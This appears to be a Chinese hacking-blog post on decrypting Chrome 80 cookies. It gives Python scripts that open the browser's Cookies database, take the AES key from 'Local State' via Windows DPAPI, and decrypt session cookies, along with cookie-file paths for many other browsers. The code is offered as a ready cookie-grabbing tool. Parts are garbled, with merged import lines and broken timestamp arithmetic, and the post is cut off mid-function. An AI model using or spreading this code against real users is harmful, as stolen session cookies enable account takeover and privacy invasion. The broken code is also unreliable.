专栏名称: HACK学习呀
HACK学习,专注于互联网安全与黑客精神;渗透测试,社会工程学,Python黑客编程,资源分享,Web渗透培训,电脑技巧,渗透技巧等,为广大网络安全爱好者一个交流分享学习的平台!
目录
相关文章推荐
51好读  ›  专栏  ›  HACK学习呀

Chrome 80.X版本如何解密Cookies文件

HACK学习呀  · 公众号  · 黑客  · 2020-03-05 00:09

正文

最近遇到了一个头疼的问题,就是Chrome在2月份更新了版本 80.0.3987.122(正式版本) (64 位),以前写的抓取Cookies文件的脚本用不了,Chrome更新了加密算法,今天刚好解决了,分享出来大家一起交流学习下


0X00 抓取Cookies遇到问题


新版本ChromeCookies加密原理:


Windows上的Chrome Cookie(“ Cookies” SQLite文件的“ encrypted_value”)或密码(“ Login Data” SQLite文件的“ password_value”)的解密实现。不支持以“ v10”为前缀的那些和以“ v10”为前缀的那些。此存储库中的代码用JDK1.8编写,并在Windows 10 Professional 1903上针对Chrome 80.0.3987.106 x86 64位进行了测试。


加密的cookie和密码存储在SQLite文件“ Cookies”和“登录数据”中,可在Chrome用户数据目录中找到。


Chrome用户数据目录显示在

https://chromium.googlesource.com/chromium/src/+/master/docs/user_data_dir.md中。


https://github.com/n8henrie/pycookiecheat/issues/12是学习如何从keyring / keychain查找对称密钥以及在Linux和Mac中解密cookie的好地方。但是,pycookiecheat没有涵盖Windows平台中的有用信息。


我们可以了解如何从Chromium源代码中加密Cookie值。

我在http://www.meilongkui.com/archives/1904上写过中文文章。


简而言之,根据Chrome的版本,有两种不同的加密方法:


  1. 没有以“ v10”或“ v11”为前缀的加密值

  2. 以“ v10”或“ v11”为前缀的加密值


如果加密的值未以“ v10”或“ v11”作为前缀,则使用Windows DPAPI(数据保护应用程序编程接口)对原始值进行加密。从理论上讲,数据保护API可以对任何类型的数据进行对称加密。实际上,它在Windows操作系统中的主要用途是使用用户或系统秘密作为熵的重要贡献来执行非对称私钥的对称加密。实际上,在这种情况下,Chrome只是直接使用DPAPI来获取加密的cookie值。


0X01 查看新版与老版的Cookies加密值



使用Navicat查看下Chrome的Cookies文件

Chrome80版本之前的Cookies的值的加密,前面没有V10以及V11

Chrome80版本之后的Cookies的值的加密,前面有V10或者V11

区别在于多了V10和V11,也表明加密算法变了,用以前写的脚本就无法读取V10和V11里面的value了


0X02 Chrome-80版本之前的的Cookies解密脚本


Python脚本

import osimport sqlite3from collections import defaultdictfrom win32.win32crypt import CryptUnprotectData
#脚本使用的python3.6#pip install pywin32'''实际使用场景请自行修改Cookies/cookies.sqlite位置,下面代码均为默认安装的位置,有些绿色版的文件夹位置以及老版本的渗透版火狐浏览器位置需要自行修改'''
#获取chrome浏览器的cookiesdef getcookiefromchrome(): cookiepath=os.environ['LOCALAPPDATA']+r"\Google\Chrome\User Data\Default\Cookies" sql="select host_key,name,encrypted_value from cookies" with sqlite3.connect(cookiepath) as conn: cu=conn.cursor() select_cookie = (cu.execute(sql).fetchall()) cookie_list = [] for host_key,name,encrypted_value in select_cookie: cookie = CryptUnprotectData(encrypted_value)[1].decode() cookies = {host_key:name+":"+cookie} cookie_list.append(cookies) d = defaultdict(list) for cookie_item in cookie_list: for key,value in cookie_item.items(): d[key].append(value.strip()) print (dict(d))
getcookiefromchrome()

0X03 其他浏览器的Cookies文件保存位置


其他浏览器的Cookies位置,均可使用上述脚本来进行抓取

IE浏览器Cookie数据位于:%APPDATA%\Microsoft\Windows\Cookies\ 目录中的xxx.txt文件 (里面可能有很多个.txt Cookie文件)如:C:\Users\yren9\AppData\Roaming\Microsoft\Windows\Cookies\0WQ6YROK.txt
在IE浏览器中,IE将各个站点的Cookie分别保存为一个XXX.txt这样的纯文本文件(文件个数可能很多,但文件大小都较小);而FirefoxChrome是将所有的Cookie都保存在一个文件中(文件大小较大),该文件的格式为SQLite3数据库格式的文件。

FirefoxCookie数据位于:%APPDATA%\Mozilla\Firefox\Profiles\ 目录中的xxx.default目录,名为cookies.sqlite的文件。如:C:\Users\jay\AppData\Roaming\Mozilla\Firefox\Profiles\ji4grfex.default\cookies.sqliteFirefox中查看cookie, 可以选择”工具 > 选项 >” “隐私 > 显示cookie”。
FirefoxCookie数据位于:%APPDATA%\Mozilla\Firefox\Profiles\ 目录中的xxx.default目录,名为cookies.sqlite的文件。如:C:\Users\jay\AppData\Roaming\Mozilla\Firefox\Profiles\*.default-release\cookies.sqlite

ChromeCookie数据位于:%LOCALAPPDATA%\Google\Chrome\User Data\Default\ 目录中,名为Cookies的文件。如:C:\Users\jay\AppData\Local\Google\Chrome\User Data \Default\CookiesC:\Users\Andy\AppData\Local\Google\Chrome\User Data\Default\Cookies

Linux系统上(以Ubuntu 12.04 和 RHEL6.x 为例)浏览器的CookieFirefoxCookie路径为:$HOME/.mozilla/firefox/xxxx.default/目录下的cookie.sqlite文件。
寰宇浏览器:C:\Users\Andy\AppData\Local\ ==== %LOCALAPPDATA%%LOCALAPPDATA%\QupZilla\profiles\default\Cookies
QQ浏览器:C:\Users\Andy\AppData\Local\Tencent\QQBrowser\User Data\Default\Cookies
%LOCALAPPDATA%\Tencent\QQBrowser\User Data\Default\Cookies
360安全浏览器:C:\Users\Andy\AppData\Roaming\360se6\User Data\Default\Cookies
%APPDATA%\360se6\User Data\Default\Cookies
360极速浏览器:C:\Users\Andy\AppData\Local\360Chrome\Chrome\User Data\Default\Cookies
%LOCALAPPDATA%\360Chrome\Chrome\User Data\Default\Cookies
搜狗浏览器:C:\Users\Andy\AppData\Roaming\SogouExplorer\Webkit\Default\Cookies
%APPDATA%\SogouExplorer\Webkit\Default\Cookies
2345浏览器:C:\Users\Andy\AppData\Local\2345Explorer\User Data\Default
%LOCALAPPDATA%\2345Explorer\User Data\Default\CookiesV3



如果是Chrome80后的版本运行效果:


0X04 Chrome-80版本之后的的Cookies解密脚本



Python代码截图:


demo.py

from chrome_cookie import ChromeCookieJar
if __name__=='__main__': jar = ChromeCookieJar() jar.load() for cookie in jar: print(vars(cookie))

aesgcm.py

import osimport sys
from cryptography.hazmat.backends import default_backendfrom cryptography.hazmat.primitives.ciphers import ( Cipher, algorithms, modes)
NONCE_BYTE_SIZE = 12
def encrypt(cipher, plaintext, nonce): cipher.mode = modes.GCM(nonce) encryptor = cipher.encryptor() ciphertext = encryptor.update(plaintext) return (cipher, ciphertext, nonce)
def decrypt(cipher, ciphertext, nonce): cipher.mode = modes.GCM(nonce) decryptor = cipher.decryptor() return decryptor.update(ciphertext)
def get_cipher(key): cipher = Cipher( algorithms.AES(key), None, backend=default_backend() ) return cipher

chrome_cookie.py

import osimport sysimport sqlite3import http.cookiejar as cookiejarfrom urllib.parse import urlencodeimport




    
 json, base64import aesgcm
sql = """SELECT host_key, name, path,encrypted_value as valueFROM cookies"""
def dpapi_decrypt(encrypted): import ctypes import ctypes.wintypes
class DATA_BLOB(ctypes.Structure): _fields_ = [('cbData', ctypes.wintypes.DWORD), ('pbData', ctypes.POINTER(ctypes.c_char))]
p = ctypes.create_string_buffer(encrypted, len(encrypted)) blobin = DATA_BLOB(ctypes.sizeof(p), p) blobout = DATA_BLOB() retval = ctypes.windll.crypt32.CryptUnprotectData( ctypes.byref(blobin), None, None, None, None, 0, ctypes.byref(blobout)) if not retval: raise ctypes.WinError() result = ctypes.string_at(blobout.pbData, blobout.cbData) ctypes.windll.kernel32.LocalFree(blobout.pbData) return result

def unix_decrypt(encrypted): if sys.platform.startswith('linux'): password = 'peanuts' iterations = 1 else: raise NotImplementedError
from Crypto.Cipher import AES from Crypto.Protocol.KDF import PBKDF2
salt = 'saltysalt' iv = ' ' * 16 length = 16 key = PBKDF2(password, salt, length, iterations) cipher = AES.new(key, AES.MODE_CBC, IV=iv) decrypted = cipher.decrypt(encrypted[3:]) return decrypted[:-ord(decrypted[-1])]
def get_key_from_local_state(): jsn = None with open(os.path.join(os.environ['LOCALAPPDATA'], r"Google\Chrome\User Data\Local State"),encoding='utf-8',mode ="r") as f: jsn = json.loads(str(f.readline())) return jsn["os_crypt"]["encrypted_key"]
def aes_decrypt(encrypted_txt): encoded_key = get_key_from_local_state() encrypted_key = base64.b64decode(encoded_key.encode()) encrypted_key = encrypted_key[5:] key = dpapi_decrypt(encrypted_key) nonce = encrypted_txt[3:15] cipher = aesgcm.get_cipher(key) return aesgcm.decrypt(cipher,encrypted_txt[15:],nonce)
def chrome_decrypt(encrypted_txt): if sys.platform == 'win32': try: if encrypted_txt[:4] == b'\x01\x00\x00\x00': decrypted_txt = dpapi_decrypt(encrypted_txt) return decrypted_txt.decode() elif encrypted_txt[:3] == b'v10': decrypted_txt = aes_decrypt(encrypted_txt) return decrypted_txt[:-16].decode() except WindowsError: return None else: try: return unix_decrypt(encrypted_txt) except NotImplementedError: return None

def to_epoch(chrome_ts): if chrome_ts: return chrome_ts - 11644473600 * 000 * 1000 else: return






请到「今天看啥」查看全文